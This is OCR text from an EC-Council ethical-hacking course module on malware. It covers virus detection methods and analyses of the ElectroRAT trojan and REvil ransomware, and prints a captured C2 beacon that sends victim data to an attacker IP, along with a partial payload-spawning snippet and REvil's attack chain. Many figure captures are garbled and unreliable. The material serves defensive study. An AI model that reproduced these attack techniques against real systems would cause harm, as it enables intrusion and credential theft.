0.00 0.000000 0 9 op<'nat
o.oo o.600006 0 1 set - robus t - ll st
0.00 0.000000 0 pr ll~\ t64

106.00 0.600000 103 8 totdl


root@ubuntu·Vtrtu~l -Machtn~:/ho~~/ubuntu/strar~~

Figure 7 .111: Screenshot showing the output of the st race command

M odule 07 Page 1156 Ethical Hacking and Counterm easu res Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Virus Detection Methods

Once a virus is det ected, it is possib le to write scanning programs that look for signat ure string characteristics of
Scanning the virus

Integrity
Checking
I Integrity checking prod ucts work by reading the entire disk and recording integrity data that act as a signature
for the files and syste m sectors

Interception I The intercepto r monitors the operating system requests that are written to t he disk

In code emu lation techniq ues, the antivirus executes t he m alicious code inside a virtual machine to simulate CPU
Code and memory activities
Emulation These techniques are considered very effective in deali ng w it h encrypted and polymorphic viruses if th e virtua l
machine mimics the real machine

Heuristic analysis ca n be static or dynamic


Heuristic
In static analysis, t he antivirus analyses the file format and code struct ure to dete rmine if the code is viral
Analysis
In dynamic analysis, t he antivirus performs a code emulation of the suspicious code to determ ine if t he code is vira l

Copyright C> by (C-CllllCII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Virus Detection Methods


The rule of thumb for virus and worm detection is that if an email seems suspicious (Le., if the
user is not expecting an e-mail from the sender and does not know the sender), or if the email
header contains something that a known sender would not usually say, the user must be
careful about opening the email, as there might be a risk of virus infection.
The best methods for virus detection are as follows:
■ Scanning
■ Integrity checking
■ Interception
■ Code Emulation
■ Heuristic Analysis
Furthermore, a combination of these techniques can be more effective.
■ Scanning
A virus scanner is an essential software for detecting viruses. In the absence of a
scanner, it is highly likely that the system will be attacked by a virus. Run antivirus tool s
continuously and update the scan engine and virus signature database on a regular
basis. Antiviru s software is of no use if it does not know what to look for. The scanning
for virus detection is performed in the following ways:
o Once a virus is detected in the wild, antivirus vendors across the globe identify its
signature strings (characteristics).

Module 07 Page 1157 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

o The vendors start writing scanning programs that look for the virus's signature
strings.
o The resulting new scanners search memory files and system sectors for the signature
strings of the new virus.
o The scanner declares the presence of the virus once it finds a match. Only known
and predefined viruses can be detected.
Some critical aspects of virus scanning are as follows:
Virus writers often create many new viruses by altering existing ones. It may take only a
short time to create a virus that appears new but which is actually just a modification of
an existing virus. Attackers make these changes frequently to confuse scanners.
In addition, to enhance signature recognition, new scanners use detection techniques
such as code analysis. Before investigating the code characteristics of a virus, the
scanner examines the code at various locations in an executable file.
Some scanners set up a virtual computer in a machine's RAM and test the programs by
executing them in this virtual space. This technique, called heuristic scanning, can also
check and remove messages that might contain a computer virus or other unwanted
content.
Advantages of scanners
o They can check programs before execution .
o They are the easiest way to check new software for known or malicious viruses.
Drawbacks of scanners
o Old scanners may be unreliable. With the rapid increase in new viruses, old scanners
can quickly become obsolete. It is best to use th e latest scanners available in the
market.
o Because viruses are developed more rapidly compared to scanners for combating
them, even new scanners are not equipped to handle every new challenge.
• Integrity Checking
o Integrity checking products perform their functions by reading and recording
integrated data to develop a signature or baseline for those files and system sectors.
o A disadvantage of a basic integrity checker is that it cannot differentiate file
corruption caused by a bug from that caused by a viru s.
o There are some advanced integrity checkers available for analyzing and identifying
the types of changes made by viruses.
o Some integrity checkers combine antivirus techniques with integrity checking to
create a hybrid tool. This simplifies the virus checking process.

Module 07 Page 1158 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ Interception

o The primary objective of an interceptor is to deflect logic bombs and Trojans.


o The interceptor controls requests to the OS for network access or actions that cause
threats to programs. If it finds such a request, it pops up and asks if the user wants
to allow the request to continue.
o There is no reliable way to intercept direct branches to low-level code or direct
instructions for input and output instructions by the virus.
o Some viruses can disable the monitoring program itself.
■ Code Emulation

Using code emulation, antivirus software executes a virtual machine to mimic CPU and
memory activities. Here, virus code is executed on the virtual machine instead of the
real processor. Code emulation efficiently deals with encrypted and polymorphic
viruses. After the emulator is run for a long time, the decrypted virus body eventually
presents itself to a scanner for detection. It also detects metamorphic viruses (single or
multiple encryptions) . A drawback of code emulation is that it is too slow if the
decryption loop is very long.
■ Heuristic Analysis

This method helps in detecting new or unknown viruses that are usually variants of an
already existing virus family. Heuristic analysis can be static or dynamic. In static
analysis, the antivirus tool analyzes the file format and code structure to determine if
the code is viral. In dynamic analysis, the antivirus tool performs code emulation of the
suspicious code to determine if the code is viral. The drawback of heuristic analysis is
that it is prone to too many false positives (i.e., it tags benign code as viral); thus, a user
might mistrust a positive test result and mistakenly assume a false alarm when a real
attack occurs.

Module 07 Page 1159 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Trojan Analysis: ElectroRAT

ElectroRAT, a Go-program-based RAT, is designed to be compatible w ith common operating systems such as Windows, macOS, and Linux

It is delivered through a downloadable application for cryptocurrency users to steal their private keys and access their crypto wallets

Propagation Initial Propagation and f) Deploying Malware

L:_.],--.. . ~. .
Infection

Attackers create various


fake profiles on
cryptocurrency forums and
social media groups to lure
victim s into visiting thei r
we bsites and download ing
malicious applications

e Maintaining Persistence 0 Exploitation


Targets
Crypt ocurrency users
~ Trojan resides as t he background Trojan logs the keystrokes and
~ process to maintain persistence steals private/ AP! keys for
crypto login
Cryptocurrency wa llets

https://cyberint.com, https://www.int ezer.com

Copyright C> by (C-CllllCII All Rights Re serve d Reproduction 1s Strictly Proh1b1ted

Trojan Analysis: ElectroRAT (Cont'd)


Stage 1: Initial Propagation and Infection Stage 2 : Deploying Malware
Electro RAT is distrib uted through Trojanized crypto W hen the victim downloads and installs the malicious a pp,
trade management applications such as Jamm, Electro RAT is executed as a background process while displaying
eTrader, and DaoPoke a decoy interface to the user
Victims are lured into downloading th ese
Thefa keeTraderapplication now prompts the victim to create a
app lications after navigating from b lockchain-based
new user account and enter a password, making the app lication
or crypto discussion forums
appear legitimate

_ ,. __ _...,.. 1 In the background, the Electro RAT payload is downloaded and


_....,._.__,uu_
1----..... -- ,t J\..i,,i]
executed by launching t he appropriate OS shell in a separate

-...-,~,-.--
Single platform for control of all your cryptol
lamm pl'OllldH th@UM!r with conv@ni.nt and pow@rful toots for tradl119, stortnq,

..-
uchan9lll9 and tl'illd<.lng thelr crypto as~ts!

---~----~--"'----
..--... ----
..........-.-·-----·.........
,,_.._,~ ........

_ __ .
-.__. . .... _.. ~------.i•-"""-
,_.,
o,.pp...,. _ __..,,_., _ _ _ to _ _ _

. c..-.., o -o ou os
. ,....,,..., ........._,,._
l > - <Oftlr-<ty!IIO _ _ _ _ _ ,,_ _ ...,..... _ _Olrodl. . - . . .

• ,_.
T•t,._YHANACOWIIT .,...,,..........,....,...,__.,......,_____ .,._,
....,_,,.,.. ........,
Jamm.to

' Copynght C) by (C-CIIIICII All Rights Reserved Reproduction !s Stnctly Prohibited

Module 07 Page 1160 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Trojan Analysis: ElectroRAT (Cont'd)


Stage 3: Exploitation Stage 4 : Maintaining Persistence
The fake application lures the victims into connecting to Command and control (C2) activity is initiated with an HTTP POST
their cryptocurrency exchange accounts t o record their request sent by t he fake application, which includes the victim's
credentials or API keys id ent ifiers, t hrough TCP port 3000 by using the same servers t hat
It also performs other functionalities such as were used to host the fake applicat ion
uploading/dow nloading files, capturing screenshots, and
running commands on t he victim's console W hen t he C2 server receives the request, it responds w it h an
empty JSON response

Attackers abuse vict ims' identities to make illegitimate


transactions ove r ti me and send malwarespam

POST/HeeKTTP/1.1
IIOU:2U.216.I - . U • : -
11Hr-........t: ao-rnt,/1.12.1 (http1,l/11t-.<-.,10·Nlty/.-.n7)
C-t ..,t•lo,,.._h, IJ1
il,<<ei,t: ..-pli<atloft/j....,
c-u••-•r,e, .,,,,uuu....,J-
""'*P'•!Modilla: l•lfl

~ :;;~~z!!~·a<)o,,..f1.t,t,:1• •,•-,_-•,• •••••-••r•l.,.., ••.1.1ilel","""'•-•,•


""'<es1·C""l ""l·Al1-·C.-ltln;"
""••n•Co,,t...,1·"-ll""·~t-•• GiU, -
, IIVT, l'OST, OHUI
(oo,U•t · lypc,_ltc•U-/:l-:c.....ut-u1f·•
~;:•;;.;:'f,";.; HH .., n ,K
c .......cdo,u t ffll••llw
-.r

Copyright C> by (C--CllllCII All Rights Re served Reproduction 1s Strictly Proh1b1ted

Trojan Analysis: ElectroRA.T


Source: https://cyberint.com, https://www.intezer.com
ElectroRAT, a Go-program-based RAT, is designed to be compatible with common OSes such as
Windows, macOS, and Linux. The Trojan is delivered through a downloadable application to
cryptocurrency users for the malware creators to steal the private keys of victims and access
their crypto wallets. The Trojan can be appended with trading applications, which can be
promoted via anonymous or fake profiles through specific blockchain/cryptocurrency forums or
social media platforms. After a successful attempt, the Trojanized applications load a decoy GUI
on the victim machines, where ElectroRAT begins its operation as a background process to
conceal its presence.
Propagation

Attackers create a variety of fake profiles on cryptocurrency forums and social media groups to
lure victims into visiting their websites and downloading malicious applications.

Module 07 Page 1161 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker

l
Malware Threats

0 Initial Propagation and


Infection
e Deploying Malware

Lffl t.J '-j - ~-0.'~ ~-~~►~


Jamm app elrader app l.iilJ Crypt o-forum

0 Maintaining Persistence e Exploitation

~ Trojan resides_as t_he bac~ground


Trojan logs the keyst rokes and
steals private/AP! keys for
~ process to maintain persist ence
crypto login

Figure 7.112: Process flow of an ElectroRAT infection

ElectroRAT Malware Attack Phases

The following are the various stages involved in an ElectroRAT malware attack:
• Stage-1: Initial Propagation and Infection

Attackers have created different Trojanized applications for each of the major OSes:
Windows, Linux, and macOS. ElectroRAT is distributed through these Trojanized crypto
trade management applications such as Jamm and eTrader as well as cryptocurrency
poker apps such as DaoPoker. Victims are lured into downloading these applications
from blockchain-based or crypto discussion forums such as Bitcoin Talk and
SteemCoinPan or Twitter/Telegram campaigns.
The following screenshots show Jamm and eTrade applications hosted on the web:

Kintum Home OuesUons Prices v About LOGIN


EH/HE

Best app to trade


and manage your crypto
Powerful. yet easy to-use tOOls to help you manage
your crypto and maximize your profit

IDownloadfor. • 0 • I

Figure 7.113: eTrader hosted on t he Kint um homepage

Module 07 Page 1162 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Jomm

-- ...

Single platform for


control of all your
crypto!
• OOWN\Oil.G rOII WINDOWS

9 oow,no.o •ott w.Ao

OOWNlOAO fN LINII..&

Figure 7 .114: Homepage for the Jamm application

The following screenshots show promotional posts of these Trojanized applications by a


fake user, from which victims are lured into the above pages to download the
applications.

Trade on all cryptocurrency exchanges through one interface and


discover the best opportunities to maximize your profits!
(,i\
anri.rixardinh -3 • May 24, 2020 1 MIN READ I
~ HIVE CN Chinese Community Community 3-4WORDS I

Good afternoon.
in this topic, we are going to explain the main issues (technically) of trading in the cryptocurrency
market. And tell you a decision we made to help all traders best manage and monitor your
cryptocurrency assets. No trouble and freedom. We hope to share our work with industry experts
and receive feedback and suggestions for improving services.

https://kintum.io

What is Kintum?
The Kintum plat form is an ideal tool for multiple exchange transactions on one interface. You can
use services such as graphical indicators. trading via API orders. portfolio management arbitrage
trading, etc. All of these are in one window. Currently, more than 20 cryptocurrency exchanges such
as Binance, Kraken, Bitfinex, Poloniex. Coinbase Pro, etc. are cooperating with us.

Figure 7 .115: Screenshot of a cryptocurrency forum promoting the eTrad er application

Module 07 Page 1163 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

October 24, 2020, 05:45:57 PM d

Welcome, Guest. Please login or register.

News: Latest &rtcom Core release: 2..20....Q ~

fb Show Pos ts

1 ~ r v . ~ / .soecutation (Altcoins> I ~ on: Today at 05:39:45 PM

Single platform for control of all your crypto!


Jamm provides the user wit h convenient and powerful tools for trading, storing,
exchanging and t racking the ir crypto assets!

Use Jamm and g i ve yoursel f great flexibility and conveni e nce in m lmy cryptocurrency opera tion!
CRYPTO EXCH ANGES
users can quickly transfer existing crypto asset s from other sources.
CRYPTO WALLETS
Users can buy, transfer, and trade crypto assets across exchanges.
OAPPS
DApp users can quickty transfer their cryptocurrency to power your app.
CRYPTO PORTFOLIOS
Investors can connect to exchanges and understand their crypto holdings and performance.
TRADI NG PLATFORMS
Traders can transfer crypto assets between exchanges, execute trades and connect and consolidate trading history

L
and balance info.
TREA SURY MANAGEMENT
Companies can get a complete picture of crypto holdings across exchanges, transfer funds, and ex ecute trades.

Ready to get started?


Jamm.to

Figure 7.116: Screenshot of Bitcoin forum promotin g the Jamm application

The following screenshot shows a social media account promoting DaoPoker. The fake
user account was suspended because of reports from users.

DaoPoker

DaoPoker
@Dao Poker

om
1scord.gg/BcuPXuUg
Telegramm - t.me/Daopoker

G Joined November 2020


O Following 419 Followers
Not followed by anyone you·re following

Figure 7.117: Social media account promoting t he DaoPoker app

Module 07 Page 1164 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

For maximum damage, these fake applications have been created in Electron, a cross-
platform framework that was developed using HTML and JavaScript.
■ Stage-2: Deploying Malware

When a victim downloads and installs the malicious eTrader application, ElectroRAT
executes as a background process while displaying a decoy interface to the user.
ElectroRAT runs behind the system while the GUI is operated from the front-end
application.

eTrader Setup

Installing, please wait. . .

Figure 7 .118: Screenshot of the fake eTrader application installation

The fake eTrader application now prompts the victim to create a new user account and
enter a password, which makes the application appear legitimate.

Figure 7. 119: Screenshot of the fake eTrader application creating a user account

In the background, the ElectroRAT payload is downloaded and executed by launching


the appropriate OS shell in a separate process with the window hidden, as can be seen
by unpacking the fake application to reveal the Electron JavaScript file electron.js.

Module 07 Page 1165 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

launchWorker() {
( as . platform())

spawn(
path . join ( root Path . ),
[].

);

spawn(
path . join ( resourc esPath . ),
[].
{
detached :
,,., indowsHide :
she 11 :

);

spawn( root Path , [l , {


detached :
,,.,indowsHide :
shell :
});

Figure 7.120: Screenshot of Electron showing how the fa ke eTrader application spaw ns ElectroRAT

The fake eTrader application mimics legitimate applications, convincing victims to


interact with it. The following screenshot shows the appearance of the eTrader
application upon its execution.

Figure 7.121: eTrader application with decoy content

Module 07 Page 1166 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

■ Stage-3: Exploitation

The fake application further lures the victims into connect to their cryptocurrency
exchange accounts to record their credentials or API keys.

Figure 7. 122: eTrader applicatio n coll ectin g credential s and API keys

In the background, ElectroRAT captures keyboard entries to steal the private keys of the
victims. Apart from keylogging, the Trojan facilitates other functionalities for remote
attackers to upload and download files from the disk, capture screenshots, and run
commands on the victim console.
■ Stage 4: Maintaining Persistence

Command-and-control (C2) activity is initiated with an HTTP POST request sent by the
fa ke application, which includes victim identifiers, through TCP port 3000 using the
same servers that were used to host th e fake application. When th e C2 server receives
the request, it provides an empty JSON response.

Module 07 Page 1167 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

.---------------------------------------------------,,
POST / user HTTP/ 1. 1
Kost: 213.226.100.140:3000
User -Agent : go-resty/1.12 .0 ( https: / / github. c0n1/go- resty/resty)
Content-l ength: 137
Accept: application/ json
Content-Type: application/ json
Accept-Encoding: gzip

{"'id": "36d1130a-ac2e-44f7-9dcl- ", "mac_name " :" " , "os_version": "6.1. 7601", "user _name": " \\user", "os ": "windows"}
HTTP/ 1. 1 200 OK
AccC'ss-Control-Allow-Origin: •
Access-Control-Allow-Methods: GET, HEAD, PUT, POST ,DELETE
Content-Type : application/ j son; charset•utf- 8
Content-Length: 2
Date: Tue, 03 Uov 2020 64:25:06 GMT
Connection: keep-alive

{}
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _11

Figure 7.123: Initial beacon and C2 response

As the Trojan resides as a background process, the remote attackers use the victim
systems for additional promotion using their identities to make illegitimate transactions
over time, send malware spam, and so on.

Module 07 Page 1168 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduct ion is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Virus Analysis: REvil Ransomware


REvil, also known as Sodinokib, is dangerous ransomware associated with the GOLD SOUTHFIELD threat group that provides ransomware
as a service for performing targeted attacks
Attackers spread REvil via RDP servers, exploit kits, and backdoor software installation programs

Operation REvil Ransomware Attack Stages


REv il uses too ls such as FileZilla to exfiltrat e data and Execution and lateral Defense Evasion
PsExec for the remote execution of the r ansomw are and Initial Access
Movement and Discovery
its files
@:;)
Other tools used by REvil include PC Hunter, AdFind,
BloodHound, NBTScan, SharpSploit, third-party file sync
-=
PsExec
~
RDP/Valid accounts
tools, and Qakbot, a Troja n used to deliver r anso mwar e PC Hunter
P-~ t
Target Industries l>.YJ ~
Transportation
Exploit --r., ............... ► REvil/Sodinokibi
Ran somware
1=1
Process Hacker
Financial sector •
Oil and gas Spam Email Download and Execute
Technology
1§ '••• ~~ 0>1 KillAV
Healthcare
Manufacturing and so on Drive-by Compromise
[::D -=
CertUtil PowerShell Macro

https://blog.quolys.com, https://www.rrendmkro.com
Copyright () by (C-C1mcil All Rights Reserved Reproduction Is Stnctly Prohibited

REvil Ransomware Attack Stages: Initial Access


Att ackers employ a variety of techniques such as spam/spear-phishingemails with malicious attach ments, RDP exploitation
using val id accounts, and compromised websites to gain initia l access

These tech n iques al low attackers to download and execute malicious payloads on t he v ictim machine using t oo ls such as
CertUtil and PowerShell

A recent approach followed by att ackers for supply-chain comprom ise is to insta ll Sod install or Sodinokibi on the t arget
systems

Supply-chain
CertUtil/PowerShell SODINSTALL REvil/Sodinokibi
REvil Ransomware Attack
compromise
e Arrives via ··• .. ...
now on Kaseya VSA compromised files
e Executes addit ional e Drops and executes 8 Encryption
PowerShell scripts for MsMpend .exeand
Servers and/or sites from a
disabling Windows mpsvc.dll (Sodinokibi
8 Safeboot routine
supplier's auto-update
Defender and shell DLL) via DLL sideloading
feature
comman ds to launch
e Uses CVE-202 1-30116 the next stage of the
to compromise the attack using CertUtil to
Kaseya VSA servers decrypt and execute
"agent.exe"
(SODINSTALL)

• y ,• Copyright C) by lC-4:IUIICII All Rights Reserved Reproduct1on1sStr1cttyProh1bit ed

Module 07 Page 1169 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

REvil Ransomware Attack Stage: Download and Execution

The following are the methods used to download and execute the malicious payload

8 CVE-2019-2725: This method involves the remote code execution {RCE) ofCertUtil or PowerShell to download and
execut e REvi I

8 Malspam: It uses macros to download and execute REvil. Further, ma Ispam includes an attachment(e.g., a PDF file)
that is used to download Qakbot and other com pon ents of t he malware

8 Drive-by compromise directly downloads REvil

8 CVE-2018-13379, CVE-2019-11510, and valid accounts:This method uses RDP and PsExec to download an d execute
other components of the ma Iware

8 DLL sideloading: Thi s method uses MsMpeng.exe to load an REvi l DLL that masquerades as a legitimate DLL such as
MpSvc.dll, w hich is dropped via a customized inst allersuch as "SODINSTALL"

8 CVE-2021-30116: This method exploits a zero-day vulnerability against Kaseya VSAservers by compromisi ng the
Kaseya supply chain

Copyright () by (C-C1mcil All Rights Reserved Reproduction Is Stnctly Prohibited

REvil Ransomware Attack Stage: Exploitation


......................, --~
In thi s phase, the ransomware is dropped
along w ith its components and executed
........,............
.....,..,....... ,. ..... ..
s . ._,. . ,
_ ... u .. . . . . . . . . . l.o<JI<>'"'
on the target systems .....,....,,.., ......... ..
.........,n . . . . . . . . . . . .

.................., .. ..
For example, in the Kaseya supply-chain ,, ....
_, ..._ ..,

compromise, after dropping the payload, it . . . . , . . . . 11 . . . . , , . . . . . . . .

... ..
_. _, ,..,
.. " ......, ..
......,,,.........
..............
removes previously used binaries such as .........
._.
. ...... . ....- ,... _,. _
,. . ........ ..
.......................
. . . . , . . . . 11. . . . . . . , . . .,

agent.crt and certutil.exe .,...,.,,.,m


_..
. . . ...... -,
..........,,. ... , .... .
e,.,.,,..,,..,
.... ,.... ., .. <, .... "'.'""
~ sTi~~:::::::-J.~. __L,__
The decoded agent.exe comprises internal .....,1,.,,.,,,1•
... llcS.,,,luC, _
..-- ....
I•

components such as SOFTIS and MODUS .. _..,,.,,


_.,.,_.
that are dumped into the Windows folder
in the form of MsMpEng.exe and ..... ,_..........___
-
)
,.,
,,i.,..,,.;u
.,.,_,_!..a,
.
,.,, I

mpsvc.dll , _,_,,,.
offMI . .. . . - . . . , I - -..

.. 0 : i.,-.-,o,...,.H

....,,__ " .....


1- - ~•J....
As soon as MpMseng.exe executes and
invokes t he export function
.. .. . . . ........
, ....,,....,Mt ,.lfMIIWlt : . . E:--·~-111-
Jo,, -.a..__ ,_

{ServiceCrtMain ), the REvil encryptor


(mpsvc.dll) loads and executes itself

• y ,• Copyright C) by lC-4:IUIICII All Rights Reserved Reproduct1on1sStr1cttyProh1bit ed

Module 07 Page 1170 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

REvil Ransomware Attack Stage: Exploitation (Cont'd)

·-.. -........ ..... _,


Now, REvil exploitsOpenSSL to encrypt
files
·..................,. _, .........
.... -·- .........
,_,_...,. ...... ·-.......
- ... -....'"...............
_.,., ,. .........
_............. , ,...,, ..
_. . . . ............. ,,_,.,_ , _,_.

The ransomware allocates memory ,,_, ............... .. .. ...- .... - ... .... ...... ...... -..... - ........... . . .. __ . . . .._ .,..... ,_.................................
. . . j ,. . . ..... . . . . . . . . - ,. . ., . . . _ ,_ , ,
.._ ,. ,
«-----....
_ _ _ _ . . . . . . . . . . . . . . . ..... - ....-.. . , ,_,_
11°1._ . . . ., ..~., ,....,., . ., !•I .
and drops the actual payload using
functions such as
"CreatefileMappingW" and ",,_..._,
•, - ,... - · ----·
.......... .-.•. ···--·-·---·----··-·
*
' """-· . . ..._
...........
"""... u:, . _

------
~• - - _ ...... , ...., .., • ·f'• 1,ro:,reu1vn1
"MapViewOffile"

Now, REvil exposes its ransom


•. ..............__ '-•• -
... ...... ,._,

behavior by changing the configfiles,


changing local firewall rules, creating
its own registry keys, and adding its
own values to the registry keys

Attackers now automatically log into


the victim's system with their own
accounts, encrypt all the confidential
files of the victim, and display a
ransom note
, ~. •..• . ...... •,-,... -.,_, . .,-··••--.
....... ........"• . --••
--T- ,.,.. ,_ ,., ..... ... ··-·- - . . ... ...
. . . -,. . .
-.. -, _. .- ..,_,__ ..... - , -··· - .. -......... -·..........................
•• -••1'oH) -•••-•-•ff •••--•-·•••- - ..... ._....,,
,

Copyright C> by (C-CllllCII All Rights Re served Reproduction 1s Strictly Proh1b1ted

REvil Ransomware Attack Stages: Lateral Movement/ Defense


Evasion and Discovery
Lateral Movement

Attackers perform lateral movement in targeted attacks, in which they use RDP and PsExec tools for lateral
movement

Defense Evasion and Discovery

At thi s stage, attackers use network discovery tools such as Adfind, SharpSploit, Blood Hound, and NBTScan to
discover and infect other systems connected to the t arget network

The following techniques are used by REvil for defense evasion:

8 PC Hunter and Process Hacker to identify and terminate services and processes related to antivirus products

8 KillAV, a custom malicious binary designed to uninstall antivirus products

e Safeboot routine, which is triggered when "-smode" is supplied as an argument and creates various new variants with
RunOnce registries to restart from or to Safemode and bypass security solutions

8 DLL sideloading to bypass detection by running as a legitimate file or process

8 PowerShell commands to compromise the supply chain and disable Windows Defender

•.- Copynght C> by (C-C1111CII All Rights Reserved Reproduction 1s St nctly Prohibited

Module 07 Page 1171 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Cert ified Ethical Hacker
Malware Threats

REvil Ransomware Attack Stages: Credential Access and


Exfiltration / Command and Control
Credential Access and Exfiltration

Attackers use tool s such as SharpSploit, an attack framew o rk, along w ith the mimikatz module to gain
credential access

The gathered information is exfilt rated using different m etho ds such as FTP t ransfer via FileZilla or using t hird-
party synchronization tools such as MegaSync, FreeFileSync, and Rclone
I

Command and Control (C2)

At this st age, th e REvil ransomware sends a report and system information t o the attackers' command and
control server.

This is performed by creating a pseudorandom URL based on t he follow ing fixed format:

8 https :// {Domain ) /{Str i ng 1 ) /{String 2)/{rand om character s) . {String 3)

Copyright C> by (C-CllllCII All Rights Re served Reproduction 1s Strictly Proh1b1ted

Virus Analysis: REvil Ransomware


Source: https://blog.qualys.com, https://www.trendmicro.com
REvil, also known as Sodinokib, is dangerous ransomware associated with the GOLD
SOUTHFIELD threat group that provides ransomware as a service (RaaS) for performing
targeted attacks against multi-national companies. Attackers distribute this malware through
supply-chain attacks (type of zero-day attacks), which requires the modification of code in
third-party vendor software that is purchased by organizations according to their requirement.
The threat group can also spread this malware via RDP servers, exploit kits, and backdoor
software installation programs. REvil involves double extortion in its schemes, using stolen files
to persuade its victims to pay a ransom. Attackers have performed bold attacks on popular
public figures and organizations using REvil. The threat group exfiltrates critical information
before encrypting it and threatens victims with the disclosure of their personal information on
the dark web, underground forums, and blog sites.
REvil Ransomware Operation

Attackers perform DDoS attacks on the target and directly communicate with the victim' s
customers, business partners, and the media to force victims to pay a ransom. Further,
attackers conduct auctions of the victim' s data to pressurize the victim further. It is highly
t argeted ransomware, in which attackers use highly sophisticat ed tools and employ cu stomized
infection chains to perform targeted attacks.
REvil uses tools such as FileZilla to exfiltrate data and PsExec for the remote execution of the
ran somware and its files. Other tools used by REvil include PC Hunter, AdFind, BloodHound,
NBTScan, SharpSploit, third-party file sync tools, and Qakbot, which is a Trojan to deliver
ransomware.

Module 07 Page 1172 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

REvil Ransomware Attack Stages

Execution and Lateral Defense Evasion


Initial Access
Movement and Discovery

[<I>]
.--..
PsExec
RDP/Valid accounts
PC Hunter

Exploit
.................. ►

REvil/Sodinokibi
Ransomware
~
Process Hacker
...
Spam Email
Download and Execute

[<I>] KillAV
.--..
Drive-by Compromise
CertUtil PowerShell Macro

Figure 7. 124: Attack st ages of REvil ransomware

@ ~
[}_)~
Supply-chain
CertUtil/PowerShell SOD INSTALL REvil/Sodinokibi
compromise
8 Arrives via
•♦ ...
8 Executes additional 8 Drops and execu tes 8 Encryption
compromised files
PowerShell scripts for MsMpend.exe and
and/or sites from a 8 Safeboot routine
disabling Windows mpsvc.dll (Sodinokibi
supplier's auto-update
Defender and shell DLL) via DLL sideloading
feature
commands to launch
8 Uses CVE-2021-30116 the next stage of the
to compromise the attack using CertUt il to
Kaseya VSA servers decrypt and execut e
"agent.exe"
(SODINSTALL)

Figure 7.125: Specific attack flow of REvil ransomware o n Kaseya VSA serve rs

• Initial Access

To gain initial access, attackers employ variou s t echniques such as spam/spear-phishing


emails with malicious attachments, RDP exploitation using valid accounts, compromised
websites, and so on . These techniques allow attackers to download and execute
malicious payloads on the victim machine using tools such as CertUtil and PowerShell.

Module 07 Page 1173 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Attackers also perform more targeted attacks using RDP and PsExec to gain complete
control of the target network and deploy malicious payloads. A recent approach
followed by attackers to perform supply-chain compromise is to install Sodinstall or
Sodinokibi on the target systems.
For example, REvil threat actors previously used a Kaseya VSA zero-day vulnerability
(CVE-2021-30116) to gain initial access to the Kaseya VSA server platform.
■ Download and Execution

The following are the common methods used by REvil to download and execute a
malicious payload.
o CVE-2019-2725: This method involves the remote code execution (RCE) of CertUtil
or PowerShell to download and execute REvil.
o Malspam: This method uses macros to download and execute REvil . Further,
malspam includes an attachment (for example, a PDF file) that is used to download
Qakbot and other components of the malware.
o Drive-by Compromise: This method directly downloads REvil.

o CVE-2018-13379, CVE-2019-11510, and Valid Accounts: This method uses RDP and
PsExec to download and execute other components of the malware such as
antivirus, exfiltration tools, and REvil.
o DLL Sideloading: This method uses a legitimate executable such as MsMpeng.exe to
load an REvil DLL that masquerades as a legitimate DLL such as MpSvc.dll, which is
dropped via a customized installer such as SODINSTALL.
o CVE-2021-30116: This method exploits a zero-day vulnerability against Kaseya VSA
